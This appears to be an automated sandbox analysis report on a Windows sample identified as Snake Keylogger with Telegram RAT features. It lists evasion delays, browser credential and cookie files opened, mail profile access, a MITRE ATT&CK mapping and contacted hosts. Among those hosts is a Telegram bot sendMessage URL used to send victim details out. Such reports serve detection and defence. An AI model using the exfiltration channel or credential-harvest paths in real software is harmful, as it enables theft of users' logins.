Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596329s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596204s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595824s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595355s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595117s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -594063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -593344s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_00405974 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405974
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_004064C6 FindFirstFileW,FindClose,	0_2_004064C6
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00405974 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405974
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_004064C6 FindFirstFileW,FindClose,	4_2_004064C6
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_004027FB FindFirstFileW,	4_2_004027FB

Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598913	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598229	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597191	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595824	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595477	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595355	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595247	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595117	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594188	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593938	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593813	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593469	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593344	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior

Source: JOSXXL1.exe, 00000004.00000002.2943116609.000000000701D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JOSXXL1.exe, 00000004.00000002.2943116609.0000000006FC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxA

Source: C:\Users\user\Desktop\JOSXXL1.exe	API call chain: ExitProcess graph end node			graph_0-4636
Source: C:\Users\user\Desktop\JOSXXL1.exe	API call chain: ExitProcess graph end node			graph_0-4639

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\JOSXXL1.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Process created: C:\Users\user\Desktop\JOSXXL1.exe "C:\Users\user\Desktop\JOSXXL1.exe"

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Users\user\Desktop\JOSXXL1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_004061A5 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_004061A5

Source: C:\Users\user\Desktop\JOSXXL1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2971397294.0000000037451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: JOSXXL1.exe PID: 3492, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\JOSXXL1.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JOSXXL1.exe PID: 3492, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2971397294.0000000037451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: JOSXXL1.exe PID: 3492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JOSXXL1.exe	58%	ReversingLabs	Win32.Spyware.Snakekeylogger

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.238	true	false	unknown
drive.usercontent.google.com	142.250.181.225	true	false	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:447849%0D%0ADate%20and%20Time:%2027/10/2024%20/%2006:11:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20447849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.68	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	JOSXXL1.exe, 00000004.00000002.2971397294.000000003763F000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/173.254.250.68$	JOSXXL1.exe, 00000004.00000002.2971397294.00000000374C5000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003750B000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://microsoft.coj	JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.microsoft.co	JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	JOSXXL1.exe, 00000004.00000003.2471464803.0000000007070000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2943116609.000000000702F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038573000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000386C9000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038525000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003859A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	JOSXXL1.exe, 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmp, JOSXXL1.exe, 00000000.00000000.1674444309.000000000040A000.00000008.00000001.01000000.00000003.sdmp, JOSXXL1.exe, 00000004.00000000.2315337300.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038573000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000386C9000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038525000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003859A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	JOSXXL1.exe, 00000004.00000002.2971397294.000000003760E000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003763F000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlBkq	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037609000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	JOSXXL1.exe, 00000004.00000002.2943116609.0000000006FC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	JOSXXL1.exe, 00000004.00000002.2972706874.00000000386CF000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038500000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000387A7000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038575000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003852B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003749B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lBkq	JOSXXL1.exe, 00000004.00000002.2971397294.000000003763A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	JOSXXL1.exe, 00000004.00000002.2972706874.00000000386CF000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038500000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000387A7000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038575000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003852B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:447849%0D%0ADate%20a	JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/1	JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2943116609.000000000702F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/a	JOSXXL1.exe, 00000004.00000002.2943116609.0000000006FC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
